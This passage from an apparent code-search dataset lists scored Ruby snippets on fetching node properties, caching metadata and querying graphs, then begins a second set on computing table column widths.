prefetch_queries(prefetchs, results)\n return [] unless prefetchs && !prefetchs.empty? && !results.empty? \n results.to_a.product(prefetchs).map{ |result, prefetch| result.send prefetch.to_s.pluralize, raw:true, per_page:9999999 }\n end", "title": "" }, { "docid": "5929c87b5aacf53651c989f2757db43b", "score": "0.43897724", "text": "def fetch_all(client, ids)\n properties = []\n ids.each_slice(PER_PAGE) do |batch|\n result = client.get_properties_by_ids(batch)\n return result unless result.success?\n properties << result.value\n end\n Result.new(properties.flatten)\n end", "title": "" }, { "docid": "0c0b11fd901530cfcf76368e7121053e", "score": "0.43791264", "text": "def get_double(nodes, metadata)\n record_call(:get_double, nodes, metadata)\n nodes.map { |node| [node, node * 2] }.to_h\n end", "title": "" }, { "docid": "a20b424c99278d39a41dafa9839b993a", "score": "0.43775362", "text": "def cache_node(key, node, node_hash)\n node_hash.each do |property, value|\n next if property == 'ServiceID'\n\n update_cache(key, value, property, node)\n end\n end", "title": "" }, { "docid": "d006e11f860f07e7bdce3306f4b80803", "score": "0.4373549", "text": "def populate_metadata\n extract_metadata.each do |k, v|\n send(\"#{k}=\".to_sym, v) # set each property\n end\n end", "title": "" }, { "docid": "75ba87b4f408631e219fa528181e59bd", "score": "0.43672448", "text": "def cache_list_in_metadata(key) #:nodoc:\n datekey = \"#{key}_updated_at\"\n sublist_count_key = \"#{key}_num_sublists\"\n\n # Find cached values in metadata if present\n if meta[datekey].present? && meta[datekey] > updated_at() && meta[sublist_count_key].present?\n final_list = []\n meta[sublist_count_key].times do |i|\n sublist = meta[\"#{key}_list_#{i}\"] || []\n final_list += sublist\n end\n return final_list\n end\n\n # Build list instead\n final_list = yield\n\n # Cache in meta data\n final_slice = 0\n final_list.each_slice(500).each_with_index do |slice,i|\n meta[\"#{key}_list_#{i}\"] = slice\n final_slice = i\n end\n meta[sublist_count_key] = final_slice + 1\n meta[datekey] = Time.now\n\n final_list\n end", "title": "" }, { "docid": "eef86a4e29a7b3edd43d5b79b277f045", "score": "0.4363617", "text": "def fetch_fields(ids, fields, use_cache=true)\n ids = ids.dup\n dataset = {}\n\n if use_cache\n keys = ids.map_hash do |id|\n [ object_cache_key(id,fields), id ]\n end\n\n results = cache_get(keys.keys) || []\n results.each do |key, attrs|\n if attrs\n id = keys[key]\n ids.delete(id)\n dataset[id] = attrs\n end\n end\n end\n\n parallel do\n ids.each do |id|\n row = { 'id' => id }\n dataset[id] = row\n\n requests = fields.map_hash do |field, tag|\n [ \"#{id}/#{tag}\", field ]\n end\n\n if use_cache\n ret = cache_get(requests.keys) || []\n ret.each do |key,value|\n row[requests.delete(key)] = value if value\n end\n end\n\n requests.each do |key, field|\n get(\"/objects/#{key}\") do |resp|\n if [ 200, 404 ].include?(resp.code)\n cache_set key, resp.body\n row[field] = resp.body\n else\n # TODO raise a fetch error, or try again\n end\n end\n end\n end\n end\n\n ids.each do |id|\n cache_set object_cache_key(id,fields), dataset[id]\n end\n\n dataset\n end", "title": "" }, { "docid": "d3bd4cf40832085058eec3b036e14f5b", "score": "0.43629736", "text": "def load_nodes\n # Return an array so we can consistently use `.index(node)` on it\n @nodes ||= limited_nodes.to_a\n end", "title": "" }, { "docid": "f8b24c02819882785302dbbbe9c6565e", "score": "0.4362742", "text": "def inject_node_metadata\n inject_metadata(@_user_data)\n end", "title": "" }, { "docid": "4baf6ae51ce6b77cd4aacc1e940af2c3", "score": "0.43620613", "text": "def preload(records)\n values = args.fetch(:values).call(records)\n records.each do |record|\n value = values[record.id]\n record._set_custom_preloaded_value(name, value)\n end\n end", "title": "" }, { "docid": "8ae8b0dac719f95ce6ac7b67aeb433aa", "score": "0.43616354", "text": "def node_properties\n @node_properties.dup\n end", "title": "" }, { "docid": "c57e2c68924b40bc8396c288e11a9115", "score": "0.4358397", "text": "def collect_optimized_node(certname, role, node)\n properties = {\n 'certname' => certname,\n 'order' => output_order(role),\n 'resources' => node['resources'],\n 'role' => role,\n 'settings' => node['settings'],\n }\n @collected_nodes[certname] = properties\n end", "title": "" }, { "docid": "79e39c956920ffc81a4899d177f6ae16", "score": "0.43573377", "text": "def dependencies(flat_list)\n @nodes = flat_list.map(&:clone)\n @nodes.each do |entry|\n entry.nodes = entry.nodes.map do |node|\n @nodes.detect{|entry| entry.name == node }\n end\n end\n # extract the start node if name was given\n @nodes = @nodes.detect{|node| node.name == name }.nodes unless name.nil?\n self\n end", "title": "" }, { "docid": "ea582e979a9d8370628ea319f9ee1aab", "score": "0.43513623", "text": "def crawl_properties(root, memo, reverse)\n # 1. If root is in memo, then the algorithm fails; abort these steps.\n raise CrawlFailure, \"crawl_props mem already has #{root.inspect}\" if memo.include?(root)\n \n # 2. Collect all the elements in the item root; let results be the resulting list of elements, and errors be the resulting count of errors.\n results = elements_in_item(root)\n log_debug(root) {\"crawl_properties reverse=#{reverse.inspect} results=#{results.map {|e| node_path(e)}.inspect}\"}\n\n # 3. Remove any elements from results that do not have an @itemprop (@itemprop-reverse) attribute specified.\n results = results.select {|e| e.has_attribute?(reverse ? 'itemprop-reverse' : 'itemprop')}\n \n # 4. Let new memo be a new list consisting of the old list memo with the addition of root.\n raise CrawlFailure, \"itemref recursion\" if memo.detect {|n| root.node.object_id == n.node.object_id}\n new_memo = memo + [root]\n \n # 5. For each element in results that has an @itemscope attribute specified, crawl the properties of the element, with new memo as the memo.\n results.select {|e| e.has_attribute?('itemscope')}.each do |element|\n log_depth {crawl_properties(element, new_memo, reverse)}\n end\n \n results\n end", "title": "" }, { "docid": "64322c1259775f2c9b5357a69c166df6", "score": "0.43507692", "text": "def read_node_properties_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiNsxComponentAdministrationApplianceManagementApi.read_node_properties ...'\n end\n # resource path\n local_var_path = '/node'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'NodeProperties')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiNsxComponentAdministrationApplianceManagementApi#read_node_properties\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "c092d9b6b7be2b237f77f0503460b3d8", "score": "0.43491352", "text": "def fetch_metadata(**options)\n request = Protocol::TopicMetadataRequest.new(**options)\n\n @connection.send_request(request)\n end", "title": "" }, { "docid": "f1f9c3b60e3b7dd476cc52544161b714", "score": "0.43442652", "text": "def resolve_properties( props = nil, model = nil )\n props = [props] unless props.is_a? Array\n model ||= self.getModel\n\n unless props\n return model.listStatements( self, nil, nil ).map {|stmt| stmt.getPredicate} .uniq\n end\n\n props.map do |p|\n case\n when p.is_a?( Jena::Core::Property )\n p\n when model\n model.getProperty( model.expandPrefix( p ) )\n else\n Jena::Core::ResourceFactory.getProperty( p )\n end\n end\n end", "title": "" }, { "docid": "3ce8216f01426969079051d54f549648", "score": "0.43414736", "text": "def get_hyperflex_node_profile_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: HyperflexApi.get_hyperflex_node_profile_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/hyperflex/NodeProfiles'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'HyperflexNodeProfileResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"HyperflexApi.get_hyperflex_node_profile_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: HyperflexApi#get_hyperflex_node_profile_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9eb0942201ceb64230799265c88e28f0", "score": "0.43406877", "text": "def batch_load(neo)\n graph_exist = neo.get_node_properties(1)\n return if graph_exist && graph_exists[\"name\"]\n names = 200.times.collect{|x| generate_text }\n commands = names.map{|n| [:create_node, { \"name\" => n }] }\n names.each_index do |x|\n follows = names.size.times.map{|y| y }\n follows.delete_at(x)\n follows.sample(rand(10)).each do |f|\n commands << [:create_relationship, \"follows\", \"{#{x}}\", \"{#{f}}\"]\n end\n end\n batch_result = neo.batch *commands\nend", "title": "" }, { "docid": "8c91f5e0895d6bc7305e8e39de6fde91", "score": "0.4339098", "text": "def fetch_metadata\n \n @metadata_tmpfile = case metadata_source\n when /^http/\n fetch_remote(metadata_source)\n else\n fetch_local(metadata_source)\n end\n \n @fetched_at = Time.new\n \n return @metadata_tmpfile\n \n end", "title": "" }, { "docid": "eefcb3587aeef43ce463f6db310d2aa3", "score": "0.43385795", "text": "def hit_head_node_info\n head_node_private_ip_file = \"#{node['cfncluster']['slurm_plugin_dir']}/master_private_ip\"\n head_node_private_dns_file = \"#{node['cfncluster']['slurm_plugin_dir']}/master_private_dns\"\n\n [IO.read(head_node_private_ip_file).chomp, IO.read(head_node_private_dns_file).chomp]\nend", "title": "" }, { "docid": "7584f0cca924ba3dcb10991897b4dd08", "score": "0.43366507", "text": "def single_node_facts(node)\n json = get_json(\"#{@nodes_url}/#{node}/facts\", 10)\n return nil if json.include?(\"error\")\n Hash[json.map { |data| [data[\"name\"], data[\"value\"]] }]\n end", "title": "" }, { "docid": "38a7b69d54ef65845e9ed39e968a2caf", "score": "0.43341544", "text": "def discover(*nodes)\n nodes.flatten.compact.each do |peer|\n node = Node.new(peer, options)\n node.credentials.merge!(@credentials)\n peers.push(node) unless peers.include?(node)\n end\n end", "title": "" }, { "docid": "15d45027a183dd0247e95d285f20c3fa", "score": "0.43287507", "text": "def lazy_attributes(*attrs)\n unless select = dataset.opts[:select]\n select = dataset.columns.map{|c| Sequel.qualify(dataset.first_source, c)}\n end\n set_dataset(dataset.select(*select.reject{|c| attrs.include?(dataset.send(:_hash_key_symbol, c))}))\n attrs.each{|a| define_lazy_attribute_getter(a)}\n end", "title": "" }, { "docid": "813fa50fa1ab2a898010b458994ed792", "score": "0.43262374", "text": "def filter_preload(node, key, preload_conf, root)\n sub_node = sub_node(node, key)\n multiple_preload = preload_conf.is_a?(Hash)\n return unless sub_node\n return add_preload_key(root, preload_conf, {}) unless multiple_preload\n\n child_root = nested_hash\n association_name = preload_conf[:preload] || key.to_s.underscore\n filter_preloads(sub_node, preload_conf, child_root)\n add_preload_key(root, association_name, child_root.presence || {})\n end", "title": "" }, { "docid": "33505b37fc0ea8b818017922591516a8", "score": "0.432621", "text": "def read(*path)\n if path[0].nil?\n Chef::Log.warn \"Calling node.read() without any path argument is very slow, probably a bug, and should be avoided\"\n merged_attributes.read(*path) # re-merges everything, slow edge case\n else\n self[path[0]] unless path[0].nil? # force deep_merge_cache key construction if necessary\n deep_merge_cache.read(*path)\n end\n end", "title": "" }, { "docid": "f0b501e6e48a02de9e88b5370fdcb7b4", "score": "0.43246254", "text": "def proppatch(_nodes)\n raise NotImplementedError\n end", "title": "" }, { "docid": "bfbb0b2568f17a5c2149e1f4f6d43c98", "score": "0.43240172", "text": "def nodes()\n STATSD.time('optica.store.get_nodes') do\n unless @cache_enabled\n inst, idx = load_instances_from_zk\n return inst\n end\n\n check_cache_age\n @cache_results\n end\n end", "title": "" }, { "docid": "a8137178d6c6ff35095dc35a25d07412", "score": "0.43232298", "text": "def query_property_values(args)\n predicate = args[:predicate]\n \n # retrieve all matching triples\n solutions = RDF::Query.execute(@graph) do\n pattern [:subject, predicate, :object]\n end\n\n # filter the one having the dataset uri as subject\n solutions.filter(:subject => RDF::URI(@uri)).each do |solution|\n result = solution[:object].to_s\n yield result\n end\n end", "title": "" }, { "docid": "fd2a14c9f711d3efe5347cfd46a32bad", "score": "0.43168125", "text": "def filter_preloads(node, preload_conf, root = nested_hash)\n return root unless node\n\n preload_conf.map do |key, sub_preload_conf|\n filter_preload(node, key, sub_preload_conf, root)\n end\n root\n end", "title": "" }, { "docid": "864231ca4fe0b0d7bd0438586ac100b5", "score": "0.43165836", "text": "def facts_for_node(certnames)\n return {} if certnames.empty? || certnames.nil?\n\n certnames.uniq!\n name_query = certnames.map { |c| [\"=\", \"certname\", c] }\n name_query.insert(0, \"or\")\n result = make_query(name_query, 'inventory')\n\n result&.each_with_object({}) do |node, coll|\n coll[node['certname']] = node['facts']\n end\n end", "title": "" }, { "docid": "9e558ac764ab004aa301c0d97dd12824", "score": "0.43161893", "text": "def nodes_head(args = {})\n if args.has_key?(:pool)\n if args[:pool].instance_of?(SqlBackedPool)\n pool_id = args[:pool].id\n else\n pool_id = args[:pool]\n end\n sql_query = \"SELECT DISTINCT persistent_id FROM nodes WHERE model_id = #{self.id} AND pool_id = #{pool_id}\"\n else\n sql_query = \"SELECT DISTINCT persistent_id FROM nodes WHERE model_id = #{self.id}\"\n end\n node_pids = ActiveRecord::Base.connection.execute(sql_query).values\n return node_pids.map {|pid| Node.latest_version(pid)}\n end", "title": "" }, { "docid": "0794a0284515e9c4396a487d87f6ce39", "score": "0.43045762", "text": "def collect_property_sets(property_prefix, property_map, properties = self.properties)\n properties.each_pair do |key, value|\n property_map[\"property.#{key}\"] = as_property_value(value)\n end\n\n full_prefix = \"#{property_prefix}property.\"\n\n extra_property_keys =\n context.property_cache? ?\n context.property_cache.get_keys_starting_with(full_prefix) :\n load_properties(\"#{full_prefix}*\").keys\n\n properties.keys.each do |k|\n extra_property_keys.delete(\"#{full_prefix}#{k}\")\n end\n\n extra_property_keys.each do |key|\n k = key[full_prefix.length..-1]\n property_map[\"property.#{k}\"] = ''\n end\n end", "title": "" }, { "docid": "1fb08bd56c3165473f45128db2e9e5de", "score": "0.4302628", "text": "def metadata_for(node)\n node_info(node)[:meta] || {}\n end", "title": "" }, { "docid": "852cec90dc9184783efd5ad3cd3fd5f5", "score": "0.42976677", "text": "def oarcmd_get_nodelist_properties(site_uid, filename=nil, options)\n oarnodes_yaml = \"\"\n \n if filename and File.exist?(filename)\n # Read oar properties from file\n puts \"Read 'oarnodes -Y' from #{filename}\" if options[:verbose]\n oarnodes_yaml = File.open(filename, 'rb') { |f| f.read }\n else\n # Download the oar properties from the oar server\n puts \"Downloading 'oarnodes -Y' from \" + options[:ssh][:host].gsub(\"%s\", site_uid) + \"...\" if options[:verbose]\n\n Net::SSH.start(options[:ssh][:host].gsub(\"%s\", site_uid), options[:ssh][:user], options[:ssh][:params]) { |ssh|\n # capture all stderr and stdout output from a remote process\n oarnodes_yaml = ssh.exec!('oarnodes -Y')\n }\n puts \"... done\" if options[:verbose]\n\n if filename\n # Cache the file\n puts \"Save 'oarnodes -Y' as #{filename}\" if options[:verbose]\n File.write(filename, oarnodes_yaml)\n end\n end\n\n # Load the YAML file into an hashtable\n h = YAML.load(oarnodes_yaml)\n\n # Format convertion: use host as keys of the hash (instead of id)\n h = h.map {|k, v| v['type'] == 'default' ? [v['host'].split('.').first, v] : [nil, nil] }.to_h\n\n return h\nend", "title": "" }, { "docid": "835588a17dff97d7693d801fed9fd1e2", "score": "0.4295417", "text": "def load(resources)\n \n resources.map do |loaded_resource|\n \n metadata = {}\n loaded_resource[:metadata].each do |property_name, value|\n if properties.has_key?(property_name)\n metadata.store(property_name.to_sym, properties[property_name].typecast(value))\n else\n metadata.store(property_name.to_sym, value)\n end\n end\n \n resource = self.allocate # Method of the Class Ruby class \n resource.instance_variable_set(:@path, loaded_resource[:path])\n resource.instance_variable_set(:@metadata, metadata)\n resource.instance_variable_set(:@repository, repository )\n \n resource\n \n end\n \n #resources\n \n end", "title": "" }, { "docid": "fc918536d68ca2708e56b4296e26f346", "score": "0.4287068", "text": "def eager_load_predicate_triples!(opts={})\n\n if opts[:labels_only]\n construct_query = \"CONSTRUCT { ?p <#{RDF::RDFS.label}> ?pred_label } WHERE { <#{self.uri.to_s}> ?p ?o . ?p <#{RDF::RDFS.label}> ?pred_label }\"\n elsif (opts[:predicates] && opts[:predicates].length > 0)\n construct_query = build_multifield_query(opts[:predicates],\"?p\")\n else\n construct_query = \"CONSTRUCT { ?p ?pred_pred ?pred_label } WHERE { <#{self.uri.to_s}> ?p ?o . ?p ?pred_pred ?pred_label }\"\n end\n\n extra_triples = self.class._graph_of_triples_from_construct_or_describe construct_query\n self.class.add_data_to_repository(extra_triples, self.repository)\n end", "title": "" }, { "docid": "0135dc5b6485448e299f9bc28030d5fb", "score": "0.4281647", "text": "def get_all_nodes(**options)\n \t\t[options[:page], options[:per_page]].each do |arg|\n if arg && (!arg.is_a?(Integer) || arg < 1)\n raise ArgumentError, \"#{arg} must be nil or an Integer >= 1\"\n end\n end\n \t\tpath = nodes_path(options: options)\n \t\tnodes = client.get(path)\n\n \t\treturn [] if nodes[\"nodes\"].empty?\n \t\tresponse = nodes[\"nodes\"].map { |node_data| Node.new(node_id: node_data['_id'],\n user_id: node_data['user_id'],\n payload: node_data,\n full_dehydrate: \"no\"\n )}\n \t\tNodes.new(limit: nodes[\"limit\"],\n page: nodes[\"page\"],\n page_count: nodes[\"page_count\"],\n nodes_count: nodes[\"node_count\"],\n payload: response\n )\n \tend", "title": "" }, { "docid": "c16f75a46aa4370063114bcfa0adf5d3", "score": "0.42778838", "text": "def node_data\n hosts = {}\n response = request('nodes', ['~', ['fact', 'fqdn'], '^.*$'])\n response.each do |r|\n hostname = r['certname'] || r['name']\n hosts[hostname] = r\n end\n\n hosts\nend", "title": "" }, { "docid": "c16f75a46aa4370063114bcfa0adf5d3", "score": "0.42778838", "text": "def node_data\n hosts = {}\n response = request('nodes', ['~', ['fact', 'fqdn'], '^.*$'])\n response.each do |r|\n hostname = r['certname'] || r['name']\n hosts[hostname] = r\n end\n\n hosts\nend", "title": "" }, { "docid": "38411b5cb6b6de6fcd1083e930561ad1", "score": "0.42769638", "text": "def hit_head_node_info\n head_node_private_ip_file = \"#{node['cluster']['slurm_plugin_dir']}/head_node_private_ip\"\n head_node_private_dns_file = \"#{node['cluster']['slurm_plugin_dir']}/head_node_private_dns\"\n\n [IO.read(head_node_private_ip_file).chomp, IO.read(head_node_private_dns_file).chomp]\nend", "title": "" }, { "docid": "bd8e3c15ec8b1efe42c44f93aabc15f3", "score": "0.42765746", "text": "def fetch_articles(articles_to_fetch)\n articles_to_fetch.each do |article|\n CacmArticle.retrieve(article.id)\n end\n end", "title": "" }, { "docid": "498180c6251b729620dad682a3c00966", "score": "0.42754063", "text": "def get_people(articles)\n goodnews = []\n articles.each do |article|\n return goodnews if Article.find_by_uri(data[article.link.gsub(/[^A-z0-9]/,'')].to_s)\n puts \"#{Time.now}\\tVisiting an article\"\n title = article.title.gsub('\"', '\\\"')\n words = title.split(/[\\s,]+/)\n for first in 0..words.size-1\n unless words[first] =~ /^[a-z\\-\\&].*/\n name = \"\"\n for last in first..words.size-1\n name = words[first..last].join(\" \")\n name =~ /^[ ]+.*/ ? tempname = name[0..-3] : tempname = name\n q = \"SELECT *\n WHERE { ?x <http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#hasName> \\\"#{tempname}\\\" .\n ?x <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> ?type }\"\n results = query(q)\n if results.size > 0\n prefix = \"http://www.semanticweb.org/ontologies/2011/10/moviesandtv.owl#\"\n results.each do |result|\n type = result[:type].to_s\n unless type.eql? prefix+\"Actor\" or type.eql? prefix+\"Director\" or type.eql? prefix+\"Creator\"\n results.delete(result)\n end\n end\n end\n goodnews << {:article => article, \"people\" => results} if results.size > 0\n end\n end\n end\n end\n return goodnews\n end", "title": "" }, { "docid": "e0768144b4d530495e9c52294e72f04a", "score": "0.42722178", "text": "def eager_load_object_triples!(opts={})\n object_uris = []\n\n if opts[:labels_only]\n construct_query = \"CONSTRUCT { ?o <#{RDF::RDFS.label}> ?obj_label } WHERE { <#{self.uri.to_s}> ?p ?o . ?o <#{RDF::RDFS.label}> ?obj_label }\"\n elsif (opts[:predicates] && opts[:predicates].length > 0) \n construct_query = build_multifield_query(opts[:predicates],\"?o\")\n else\n construct_query = \"CONSTRUCT { ?o ?obj_pred ?obj_label } WHERE { <#{self.uri.to_s}> ?p ?o . ?o ?obj_pred ?obj_label }\"\n end\n\n extra_triples = self.class._graph_of_triples_from_construct_or_describe construct_query\n self.class.add_data_to_repository(extra_triples, self.repository)\n end", "title": "" }, { "docid": "9f068f056e0d1a70fe04d92baa8c478f", "score": "0.4268397", "text": "def load_404_properties\n return [] if @items_left == 0\n result = []\n @result.each do |property_name, stuff|\n result << property_name if stuff[0] == 404\n end\n result\n end", "title": "" }, { "docid": "1021770edff5f9c01f1df58253814f6d", "score": "0.42636892", "text": "def fetch_metadata(metadata_filepath = nil)\n file =\n if metadata_filepath\n File.read(metadata_filepath)\n else\n # Fetch metadata over the Internet.\n client = HTTPClient.new\n client.get(\"#{context_url}$metadata?detailed=true\").body\n end\n\n ::Nokogiri::XML(file).remove_namespaces!\n end", "title": "" }, { "docid": "d81d4ddbc3c899c47e7dac41cea574ee", "score": "0.42622218", "text": "def propfind(_nodes)\n raise NotImplementedError\n end", "title": "" }, { "docid": "2bc89d54443dacd235cd89f091212a9f", "score": "0.4258172", "text": "def clusterComputeResources_locked\n raise \"clusterComputeResources_locked: cache lock not held\" unless @cacheLock.sync_locked?\n return(@clusterComputeResources) if @clusterComputeResources\n\n logger.info \"MiqVimInventory.clusterComputeResources_locked: loading ClusterComputeResource cache for #{@connId}\"\n begin\n @cacheLock.sync_lock(:EX) if (unlock = @cacheLock.sync_shared?)\n\n ra = getMoPropMulti(inventoryHash_locked['ClusterComputeResource'], @propMap[:ClusterComputeResource][:props])\n\n @clusterComputeResources = {}\n @clusterComputeResourcesByMor = {}\n ra.each do |crObj|\n addObjHash(:ClusterComputeResource, crObj)\n end\n ensure\n @cacheLock.sync_unlock if unlock\n end\n logger.info \"MiqVimInventory.clusterComputeResources_locked: loaded ClusterComputeResource cache for #{@connId}\"\n\n @clusterComputeResources\n end", "title": "" }, { "docid": "23a4adcea936c89f088167c2296fb23d", "score": "0.42542368", "text": "def nodes_head(args = {})\n return node_pids.map {|pid| Node.latest_version(pid)}\n end", "title": "" } ]
5dd0da39fd0ef1ee9ab898796daa8514
Returns the width of the cell in its first column alone, ignoring any colspans.
[ { "docid": "2fdc7d90497285043380a8dd86d14511", "score": "0.0", "text": "def width_ignoring_span\n # We can't ||= here because the FP error accumulates on the round-trip\n # from #content_width.\n defined?(@width) && @width || (content_width + padding_left + padding_right)\n end", "title": "" } ]
[ { "docid": "33c1619c3ea92a9576e4780f697222e8", "score": "0.756654", "text": "def width\n padding = (colspan - 1) * @table.cell_spacing\n inner_width = (1..@colspan).to_a.inject(0) do |w, counter|\n w + @table.column_width(@index + counter - 1)\n end\n inner_width + padding\n end", "title": "" }, { "docid": "cdef2788eb72e53aa749a90537b61670", "score": "0.7451526", "text": "def counted_width\n @columns.inject(0) do |total, column|\n total + column.width\n end\n end", "title": "" }, { "docid": "0abe691281e825a0aea3776148df4bb7", "score": "0.73505396", "text": "def bare_column_width\n (@width - @spacer * (@columns - 1)) / @columns\n end", "title": "" }, { "docid": "5b32ddbcb4353bac88319e56d5ae80fe", "score": "0.7336208", "text": "def width\n ColumnWidthCalculator.new(self).natural_widths.inject(0, &:+)\n end", "title": "" }, { "docid": "3348eb6560e85f1f2dee4146b7a6d65e", "score": "0.71466035", "text": "def width_of_column\n bare_column_width + @spacer\n end", "title": "" }, { "docid": "34ab3095dd1d1e7612dea057ccea897b", "score": "0.71410906", "text": "def min_width\n return min_width_ignoring_span if @colspan == 1\n\n # Sum up the largest min-width from each column, including myself.\n min_widths = Hash.new(0)\n dummy_cells.each do |cell|\n min_widths[cell.column] =\n [min_widths[cell.column], cell.min_width].max\n end\n min_widths[column] = [min_widths[column], min_width_ignoring_span].max\n min_widths.values.inject(0, &:+)\n end", "title": "" }, { "docid": "f4d5c9c01f9ec2004099cccb57897900", "score": "0.7130694", "text": "def width\n return width_ignoring_span if @colspan == 1 && @rowspan == 1\n\n # We're in a span group; get the maximum width per column (including\n # the master cell) and sum each column.\n column_widths = Hash.new(0)\n dummy_cells.each do |cell|\n column_widths[cell.column] =\n [column_widths[cell.column], cell.width].max\n end\n column_widths[column] = [column_widths[column], width_ignoring_span].max\n column_widths.values.inject(0, &:+)\n end", "title": "" }, { "docid": "1fd7fa84e1025758b75bff9f51d3d330", "score": "0.7082565", "text": "def width\n bare_column_width - (@total_left_padding + @total_right_padding)\n end", "title": "" }, { "docid": "440a725be9dbf4fcb90210bb0ad0d807", "score": "0.6997756", "text": "def get_column_width_raw(column_index = 0)\n validate_workbook\n validate_nonnegative(column_index)\n return nil unless column_exists(column_index)\n\n range = cols.find(column_index)\n range && range.width\n end", "title": "" }, { "docid": "636dc4fc8bbd3ae959d2411628d00d52", "score": "0.6964224", "text": "def min_width\n aggregate_cell_values(:column, :avg_spanned_min_width, :max)\n end", "title": "" }, { "docid": "01c78720a9b88faa8e6742b5b32cb190", "score": "0.69261634", "text": "def total_width\n if empty?\n 0\n else\n #The starting point, @page_data.length-1, represents the spaces needed\n #between the columns. So N columns means N-1 spaces.\n @page_data.inject(@page_data.length-1) do |sum, column|\n sum + column.foorth_column_width\n end\n end\n end", "title": "" }, { "docid": "992761065cfa859eb8225c97b96a749d", "score": "0.68351346", "text": "def get_column_width_raw(column_index = 0)\n validate_workbook\n validate_nonnegative(column_index)\n\n range = cols.locate_range(column_index)\n range && range.width\n end", "title": "" }, { "docid": "8242b9eec0f125d28dda425f5dcbed01", "score": "0.683041", "text": "def column_count\n return @width\n end", "title": "" }, { "docid": "a21e76fb3820b287ab8fd4cce22484d9", "score": "0.68231016", "text": "def total_width\n if empty?\n 0\n else\n @page_data.inject(@page_data.length-1) do |sum, column|\n sum + column.column_width\n end\n end\n end", "title": "" }, { "docid": "53042a7533dc1aa3a3dfaa18df981bfc", "score": "0.6813868", "text": "def column_width(items, column_name)\n widest_item = items.max_by(&:size)\n if widest_item\n widest = (widest_item.size >= column_name.size) ? widest_item : column_name\n widest.size + PADDING\n else\n 0\n end\n end", "title": "" }, { "docid": "7c8fd2b7d72a6a99aa2ea39cab7b0b2f", "score": "0.6786537", "text": "def width\n grid.column_width.to_f\n end", "title": "" }, { "docid": "3c184af546162b66898c301d07178f93", "score": "0.67643946", "text": "def get_column_width(column_index = 0)\n width = get_column_width_raw(column_index)\n return RubyXL::ColumnRange::DEFAULT_WIDTH if width.nil?\n (width - (5.0 / RubyXL::Font::MAX_DIGIT_WIDTH)).round\n end", "title": "" }, { "docid": "aa9ad4bd428a68fb067d70e3a4ea52a8", "score": "0.67533433", "text": "def column_width\n @column_width ||= subdivide(pdf.bounds.width, columns, column_gutter)\n end", "title": "" }, { "docid": "29f3d639263a65e6516cb46a70eb24d8", "score": "0.67240286", "text": "def column_width\n longest_word_length + 1\n end", "title": "" }, { "docid": "a1803cb7798f6a93a176984e389df4d3", "score": "0.66928077", "text": "def column_width(row_idx, col_idx)\n outer, inner = outer_inner(row_idx, col_idx)\n @column_widths[outer][inner]\nend", "title": "" }, { "docid": "074a2a18effcb8a2ac9a8d6d86f8e459", "score": "0.6689132", "text": "def column_width\n (@column_width || Blueprint::COLUMN_WIDTH).to_i\n end", "title": "" }, { "docid": "bd9f2671bfb8337a1ba34d5c0477cf18", "score": "0.66836214", "text": "def col_length\n self[0].length\n end", "title": "" }, { "docid": "d5204c19c124304eeff9337d01784ad6", "score": "0.665285", "text": "def natural_column_widths\n@natural_column_widths ||=\nbegin\nwidths_by_column = Hash.new(0)\ncells.each do |cell|\nnext if cell.is_a?(Cell::SpanDummy)\n# Split the width of colspanned cells evenly by columns\nwidth_per_column = cell.width.to_f / cell.colspan\ncell.colspan.times do |i|\nwidths_by_column[cell.column + i] =\n[widths_by_column[cell.column + i], 